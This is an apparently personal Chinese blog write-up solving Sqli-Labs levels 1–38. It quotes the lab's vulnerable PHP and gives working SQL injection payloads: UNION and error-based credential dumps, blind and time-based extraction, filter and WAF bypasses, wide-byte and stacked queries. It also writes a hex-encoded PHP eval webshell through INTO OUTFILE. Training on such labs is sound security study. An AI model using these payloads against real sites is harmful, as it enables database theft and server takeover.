SQL注入靶场Sqli-Labs 1-65关全部通关笔记【持续更新】

 

Less -1 基于报错的单引号字符型GET注入

源码:

 1 <?php
 2 //including the Mysql connect parameters.
 3 include("../sql-connections/sql-connect.php");
 4 error_reporting(0);
 5 // take the variables 
 6 if(isset($_GET['id']))
 7 {
 8 $id=$_GET['id'];
 9 //logging the connection parameters to a file for analysis.
10 $fp=fopen('result.txt','a');
11 fwrite($fp,'ID:'.$id."\n");
12 fclose($fp);
13 
14 // connectivity 
15 
16 
17 $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
18 $result=mysql_query($sql);
19 $row = mysql_fetch_array($result);
20 
21     if($row)
22     {
23       echo "<font size='5' color= '#99FF00'>";
24       echo 'Your Login name:'. $row['username'];
25       echo "<br>";
26       echo 'Your Password:' .$row['password'];
27       echo "</font>";
28       }
29     else 
30     {
31     echo '<font color= "#FFFF00">';
32     print_r(mysql_error());
33     echo "</font>";  
34     }
35 }
36     else { echo "Please input the ID as parameter with numeric value";}
37 
38 ?>

单引号报错,确认存在注入点:

http://192.168.10.137/Less-1/?id=1'

 

 

 

 查询字段数:

http://192.168.10.137/Less-1/?id=1' order by 1,2,3,4--+

 

这里不确定有多少个,所以判断的时候可以先把数字弄多一点,然后使用二分法一点一点判断,例如先1~20,然后1~10,再1~5的方式。

这里尝试1~4报错了:

 

 

 尝试1~2:

 

尝试1~3:

3没报错,4报错,说明字段数为3

 

 

 因为这里是有回显的,所以使用union注入查看哪些字段是有回显的

 

 这里为了不让前面id=1的查询成功影响我们的判断,所以将1改为任意使其查询失败的值,例如-1(当然也可以用 and 1=2之类的,只要能查询失败即可)

http://192.168.10.137/Less-1/?id=-1' union select 1,2,3--+

 

 

 

 所以2,3是回显的位置。

接下来查看数据库信息:

http://192.168.10.137/Less-1/?id=-1' union select 1,version(),database()--+

 

 

 

 

 

 

 查看所有数据库:

http://192.168.10.137/Less-1/?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+

 

这里用了个group_concat():同名内容只出现一次,且将结果用逗号分隔连接成字符串。

 

 

 查询security内的所有表名

http://192.168.10.137/Less-1/?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3--+

 

 

 

 查看users里的字段:

http://192.168.10.137/Less-1/?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where columns.table_name='users'),3--+

 

 

 

 通过上面的操作,我们从information_schema中得到了当前数据库security中存在的表和部分字段,接下来去security数据库查询所有的用户名和密码:

http://192.168.10.137/Less-1/?id=-1' union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

 

 

Less -2 基于报错的数字型GET注入

这个由于是数字型的,所以闭合的时候不用单引号了,其他与Less-1都一样:

如:

 

http://192.168.10.137/Less-1/?id=-1 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

 

 

 

 

Less -3 基于报错的GET单引号变形字符型注入

 

源码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo 'Your Login name:'. $row['username'];
    echo 'Your Password:' .$row['password'];
}else{
    print_r(mysql_error());
}

 

这里通过源码可以看看到$id用单引号和括号圈起来了,所以只用单引号去闭合是不行的,还需要括号,所以payload变成如下:

例:

 

http://192.168.10.137/Less-3/?id=-1') union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

 

 

 

 其他的都一样。

 

Less -4 基于报错的GET双引号变形字符型注入

源码

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

 

从源码可以看到,$id被提前进行了定义,被用双引号括起来了,然后进行拼接的时候又用括号括起来了,所以需要闭合双引号和括号。

语句如下:

 

http://192.168.10.137/Less-4/?id=-1") union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users)--+

 

 

Less -5 GET-二次注入-单引号-字符型

单引号判断,报错:

 

使用报错注入:

(1). 通过floor报错

and (select 1 from (select count(*),concat((payload),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

 

其中payload为你要插入的SQL语句,concat是聚合函数,使用聚合函数进行双注入查询时,会在错误信息中携带payload查询出来的信息。

 查版本、数据库、用户:

http://192.168.10.137/Less-5/?id=1' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --+

 

 表名

http://192.168.10.137/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

 

 爆字段

http://192.168.10.137/Less-5/?id=1' union select null,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand()*2))as a from information_schema.tables group by a%23

 

爆内容:

192.168.10.137/Less-5/?id=1' union select null,count(*),concat((select username from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a%23

 

 

(2). 通过updatexml报错
and updatexml(1,payload,1)

payload处为要执行的SQL,1为分隔符。
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反回类型也做了限制,只有在payload返回的不是xml格式才会生效

http://192.168.10.137/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

 

 

 

 其他信息同理。

 

(3). 通过ExtractValue报错
and extractvalue(1, payload)
输出字符有长度限制,最长32位。

http://192.168.10.137/Less-5/?id=1' and extractvalue(null,concat(0x7e,(select database()),0x7e));--+

 

 

 其他信息同理。

 

Less -6 GET-二次注入-双引号-字符型

与Less-5相同,只是把单引号换成双引号即可。

 

Less -7 利用into Outfile来写shell

源代码:

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
    echo 'You are in.... Use outfile......';
}else{
    echo 'You have an error in your SQL syntax'; 
}

 $id被双层括号和单引号包围,URL正确时有提示 用outfile,错误时只知有错误

http://www.sqli-lab.cn/Less-7/?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile '\\var\\WWW\\sqli\\Less-7\\1.php' --+

写之前需要知道物理路径,且得是有写入权限的才行。

 

 

 

 

Less -8 基于布尔的盲注

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
      echo 'You are in...........';
}else{
}

 

http://192.168.10.137/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 115--+

注意:这里的ascii(....)  = 115,这个115是十进制的,解码的时候要用10进制来解,或者115换成十六进制的数。就是下面这样:

http://192.168.10.137/Less-8/?id=1' and (ascii(substr((select database()) ,1,1))) = 0x73--+

 当数据库名第一个字符的ascii是115则返回正确的页面:

 

 

 否则返回:

 

 

 从上面可以看出页面会根据对错发生变化,所以可以用burp进行爆破,通过返回包长度来判断:

 

 

 第一个点,一般数据库名长度在10个字符内差不多了,所以他的字典可以是数字1~10(当然这里也可以先使用length()做一次对数据库名长度的判断再来爆破)

第二个点,一般数据库名中包含大小写字母和数字,偶尔也会有些特殊字符,这些字符的ascii基本都是在128以内,所以字典可以是1~128

进行爆破:

 

 

 

payload1的数字对应字符在数据库名中的顺序,payload2对应十进制的ascii

最后根据ascii表得出名字为security

接着判断表名长度

http://192.168.10.137/Less-8/?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+

进行爆破:

 

 

 

payload1代表第几个表

payload2代表对应表的表名长度

 

 

 下面进行猜表名,以第四张表为例:

http://192.168.10.137/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 111 --+

 从上面爆破知道第四张表长度为5:

 

 

 

 

 

 得到表名为user

Less -9 &10基于时间的盲注

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row){
      echo 'You are in...........';
}else{
    echo 'You are in...........';
}

 

http://192.168.10.137/Less-9/?id=1%27%20and%20IF(1=1,sleep(5),1)--+

 发现存在时间注入。

判断数据库名长度:

http://192.168.10.137/Less-9/?id=1' and if((length(database())=13),sleep(5),1)--+

同样的,对长度进行爆破:

由于是基于时间的,burp在爆破的时候需要把显示返回的时间参数打开:

把这两个都打开或打开其中一个即可:

key

 

可以看到长度为8:

 

  判断数据库名:

http://192.168.10.137/Less-9/?id=1' and if((ascii(substr((select database()),1,1))=115),sleep(5),null)--+

 (标红的括号别忘了加)

 

 判断方式同上。

 

Less -11 单引号报错注入

输入单引号报错:

 

判断有多少列:

使用二分法尝试,最终得到列数为2:

admin' order by 2#

 

 

 

 

 判断回显位:

-admin' union select 1,2#  一定注意,这里admin前面要有个-,让他执行失败才不会将我们要查询的结果覆盖掉。

 

 

 

 开始查询数据库名:

-admin' union select 1,database()#

 

 

爆数据库,利用group_concat链接结果 :(若第二个参数不指定,默认只有逗号连接)

-admin' union select 1,(select group_concat(schema_name,'-') from information_schema.schemata)#

 

 

 

 猜表:

-admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security')#

 

 

 

 猜列:

-admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')#

 

 

 

 猜内容:

-admin' union select 1,(select password from security.users limit 0,1)#

 一行一行往下猜,依次类推:

-admin' union select 1,(select password from security.users limit 2,1)#

 

 

 

 

 Less -12 双引号报错注入

与11一样,单引号变双引号而已。

 

Less -13 二次注入

源码:

// connectivity 
    @$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

 uname参数被单引号和括号包围了:

猜多少列:

admin') order by 2#

 

 

 尝试用union查询,发现没有回显,但因为前面发现会报错,所以可以利用报错注入。

admin') union select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2)) as XX from information_schema.tables group by XX # &passwd= ') or 1=1 #

 

 

 Less -14  同上

 

 Less -15  布尔/时间盲注

 

 直接利用布尔进行猜,然后看也没返回即可:

 uname=' or (length(database())) = 8 #&passwd=' or 1=1 #&submit=Submit
 uname=' or (ascii(substr((select database()) ,1,1))) = 115 #&passwd=' or 1=1 #&submit=Submit

Less -16 同上

Less -17 update报错注入

 源码:

@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";

$result=mysql_query($sql);
$row = mysql_fetch_array($result);
//echo $row;
    if($row)
    {
          //echo '<font color= "#0000ff">';    
        $row1 = $row['username'];      
        //echo 'Your Login name:'. $row1;
        $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
        mysql_query($update);
          echo "<br>";

 这题比较坑,注入点在密码处,用户名得输入存在的用户名才行,不能随便输,比如输admin,然后在密码处进行注入:

1111' and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

 

 

 Less - 18 HTTP头部user-agent注入

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
            mysql_query($insert);

 代码中标红的地方猜是注入点,其他地方的这个uagent不是传值的地方。

 

输入正确的账号密码后返回信息:admin/admin

 

 

利用这个显示的地方进行报错注入:

111' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '

 

 

 

 

 

 Less - 19 HTTP头部refered注入

 源码:

$sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
    $result1 = mysql_query($sql);
    $row1 = mysql_fetch_array($result1);
        if($row1)
            {
            echo '<font color= "#FFFF00" font size = 3 >';
            $insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

 其实跟18差不多,这里换了个字段而已。

111' or updatexml(1,concat(0x7e,(database()),0x7e),0) or '

 

 

 

 

 

Less - 20 Cookie注入

同18,19只是换了个字段而已。

 

Less - 21 Cookie注入

payload:

') or 1=1 #
Jykgb3IgMT0xICM=

多了个base64而已。

 

Less - 22 Cookie注入

闭合双引号,同上。

 

Less - 23 过滤了注释符的注入

id=admin' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '  因为过滤了注释符,所以需要对剩下的语句进行闭合。

 

Less - 24 二次注入

最简单的二次注入 没任何过滤    

login.php:

发现输入进行了mysql_real_escape_string()函数转义 编码如果不是gbk宽字节注入  单引号是不能用了。

function sqllogin(){

   $username = mysql_real_escape_string($_POST["login_user"]);
   $password = mysql_real_escape_string($_POST["login_password"]);
   $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//$sql = "SELECT COUNT(*) FROM users WHERE username='$username' and password='$password'";
   $res = mysql_query($sql) or die('You tried to be real smart, Try harder!!!! :( ');
   $row = mysql_fetch_row($res);
    //print_r($row) ;
   if ($row[1]) {
            return $row[1];
   } else {
              return 0;
   }

}

 

 

 

 

 

 login_create.php:

//$username=  $_POST['username'] ;
    $username=  mysql_escape_string($_POST['username']) ;
    $pass= mysql_escape_string($_POST['password']);
    $re_pass= mysql_escape_string($_POST['re_password']);
    
    echo "<font size='3' color='#FFFF00'>";
    $sql = "select count(*) from users where username='$username'";
    $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
      $row = mysql_fetch_row($res);

 

# Validating the user input........
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);
    
    if($pass==$re_pass)
    {    
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();

 

 

 

 

这里看到这里把username再次取出来查询的没有任何过滤 所以我们在插入username的时候就直接把注入的payload插到数据库里,取出来时候造成注入

admin' or 1=1#

 

 

 

 update的时候就把我们原先的TEST2' or 1=1#取出来拿到语句中了 所以密码都是123456了。

 

 

 

 

 

Less - 25 过滤AND和OR

源码:

function blacklist($id){
    $id= preg_replace('/or/i',"", $id);  # 只会过滤一次。
    $id= preg_replace('/AND/i',"", $id);  # 只会过滤一次。
    return $id;
}
$id= blacklist($id);
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

 

 

 

 

双写绕过:

 

 

 注:在hackbar里面,注释符#要用 url编码,否则会报错。

http://192.168.10.137/Less-25/?id=1' oorrder by 3--+
http://192.168.10.137/Less-25/?id=-1' union select 1,2,3 --+
http://192.168.10.137/Less-25/?id=-1' union select 1,group_concat(schema_name),3 from infoorrmation_schema.schemata limit 0,1--+

 

Less -25a

和25一样,只是不用单引号而已。

 

Less - 26

 

function blacklist($id) {
    $id= preg_replace('/or/i',"", $id);            //strip out OR (non case sensitive)
    $id= preg_replace('/and/i',"", $id);        //Strip out AND (non case sensitive)
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --
    $id= preg_replace('/[#]/',"", $id);            //Strip out #
    $id= preg_replace('/[\s]/',"", $id);        //Strip out spaces
    $id= preg_replace('/[\/\\\\]/',"", $id);        //Strip out slashes
    return $id;
}
$id= blacklist($id);
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

 单引号闭合 过滤了 or,and , /* , – , # , 空格 , /

%A0,%0a,%0b,%0c,%0d,%09替代空格 &&替换and   ||替代or或者使用双写  --+和#被过滤,需要用or '1'='1来闭合    注意url编码

 

 Less - 26a

同上,多闭合了一个括号

 

Less - 27

function blacklist($id){
    $id= preg_replace('/[\/\*]/',"", $id);       //strip out /*
    $id= preg_replace('/[--]/',"", $id);          //Strip out --.
    $id= preg_replace('/[#]/',"", $id);           //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);         //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);   //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);         //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);    //Strip out union
    $id= preg_replace('/select/s',"", $id);    //Strip out select
    $id= preg_replace('/UNION/s',"", $id);  //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);   //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);     //Strip out Union
    $id= preg_replace('/Select/s',"", $id);     //Strip out select
    return $id;
}

 过滤的内容变多了,只要在关键字上进行大小写变化即可:

http://192.168.10.137/Less-27/?id=1'%0Aor%0A'1'='1
0'%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0'1

 

 

Less - 27a

function blacklist($id){
    $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
    $id= preg_replace('/[--]/',"", $id);        //Strip out --.
    $id= preg_replace('/[#]/',"", $id);            //Strip out #.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/select/m',"", $id);        //Strip out spaces.
    $id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
    $id= preg_replace('/union/s',"", $id);        //Strip out union
    $id= preg_replace('/select/s',"", $id);        //Strip out select
    $id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
    $id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
    $id= preg_replace('/Union/s',"", $id);        //Strip out Union
    $id= preg_replace('/Select/s',"", $id);        //Strip out Select
    return $id;
}

 同上,闭合不同而已。

0"%A0or(1)=(1)%26%26%a0"1

http://sqli-qing.cn/sqli/Less-27/?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(table_name),3%A0from%A0information_schema.tables%A0where%A0table_schema='security'%26%26%a0"1 http://sqli-qing.cn/sqli/Less-27/?id=0"%A0UnIoN%A0SeLeCt(1),group_concat(username),group_concat(password)%A0from%A0security%2Eusers%A0where%A01%26%26%a0"1

 

Less - 28

function blacklist($id)
{
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
//$id= preg_replace('/select/m',"", $id);                    //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.
return $id;
}

 过滤union select这一个组合,也要过滤空格,所以采用union union select select方法绕过,空格照样用%0a替换

0')%A0UnIoN%A0SeLeCt(1),version(),database()%26%26%a0('1

 

 

 

Less - 28a

同上

Less - 29

加了一个很弱的WAF:

if(isset($_GET['id']))
{
    $qs = $_SERVER['QUERY_STRING'];
    $hint=$qs;
    $id1=java_implimentation($qs);
    $id=$_GET['id'];
    //echo $id1;
    whitelist($id1);
    
    //logging the connection parameters to a file for analysis.
    $fp=fopen('result.txt','a');
    fwrite($fp,'ID:'.$id."\n");
    fclose($fp);
    
    
    

// connectivity 
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

 

//WAF implimentation with a whitelist approach..... only allows input to be Numeric.
function whitelist($input)
{
    $match = preg_match("/^\d+$/", $input);
    if($match)
    {
        //echo "you are good";
        //return $match;
    }
    else
    {    
        header('Location: hacked.php');
        //echo "you are bad";
    }
}



// The function below immitates the behavior of parameters when subject to HPP (HTTP Parameter Pollution).
function java_implimentation($query_string)
{
    $q_s = $query_string;
    $qs_array= explode("&",$q_s);


    foreach($qs_array as $key => $value)
    {
        $val=substr($value,0,2);
        if($val=="id")
        {
            $id_value=substr($value,3,30); 
            return $id_value;
            echo "<br>";
            break;
        }

    }

}

?>

 

注入方法就是参数污染 

 

例子  显示的是id=2的内容 但是waf检测的是前面id=1的内容  好理解吧?

 

http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,version(),database() --+
http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
http://sqli-qing.cn/sqli/Less-29/?id=' union select 1,group_concat(username),group_concat(password) from security.users where 1 --+

 

Less - 30

同上

 

Less - 31

同上

 

Less - 32

源码:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}


...

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

...
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";

 check_addslashes函数把\\ 单引号 双引号都进行过滤转义 

GBK编码   说明要使用宽字节注入

http://192.168.10.137/Less-32/?id=-1%df' UNion seleCt 1,2,DATABASE()-- 

 

 

 

 

Less - 33、34

同上,变成了POST方法而已。

 

Less - 35

// take the variables 
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";
...
// connectivity 

mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

 实际在查询的时候id并没有用单引号括起来,所以就不受上面的addslaches的影响。直接进行查询就行:

http://192.168.10.137/Less-35/?id=1 order by 3 -- 

 

 

 

 

http://192.168.10.137/Less-35/?id=-1 union select 1,2,3 --+

 

 

 

 

http://192.168.10.137/Less-35/?id=-1 union select 1,@@datadir,(select table_name from information_schema.tables limit 3,1) -- 

 

 Less - 36

源码:

function check_quotes($string)
{
    $string= mysql_real_escape_string($string);    
    return $string;
}

// take the variables 
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
//echo "The filtered request is :" .$id . "<br>";

mysql_real_escape_string()被视为替代addslashes()和mysql_escape_string()的好方法,可以解决宽字节注入问题

mysql_real_escape_string是将所有带有特殊字符进行转义
下列字符受影响:
x00
n
r
\
'
"
x1a

从代码中可以看到,并没有将编码设置为GBK,相当于这个mysql_real_escape_string()起不到做用了。

 

Less-37

post登录的而已

 uname=admin%df%27 or 1=2 union select 1,database()#

 

 

Less-38

堆叠注入

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
    
    
    /* store first result set */
    if ($result = mysqli_store_result($con1))
    {
        if($row = mysqli_fetch_row($result))
        {
            echo '<font size = "5" color= "#00FF00">';    
            printf("Your Username is : %s", $row[1]);
            echo "<br>";
            printf("Your Password is : %s", $row[2]);
            echo "<br>";
            echo "</font>";
        }
//            mysqli_free_result($result);
    }
        /* print divider */
    if (mysqli_more_results($con1))
    {
            //printf("-----------------\n");
    }
     //while (mysqli_next_result($con1));
}
else 
    {
    echo '<font size="5" color= "#FFFF00">';
    print_r(mysqli_error($con1));
    echo "</font>";  
    }
/* close connection */
mysqli_close($con1);

 mysqli_multi_query() 函数执行一个或多个针对数据库的查询。多个查询用分号进行分隔。(有这个才能进行堆叠)
分号我们可以加入注入的新的语句

http://192.168.10.137/Less-38/?id=2%FE' or 1=1 %23
    
http://192.168.10.137/Less-38/?id=0%FE' union select 1,version(),database() %23

http://192.168.10.137/Less-38/?id=0%FE' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

http://192.168.10.137/Less-38/?id=0%FE' union select 1,group_concat(username),group_concat(password) from security.users where 1 %23

 

posted @ 2020-02-10 22:21  rebootORZ  阅读(3221)  评论(0编辑  收藏  举报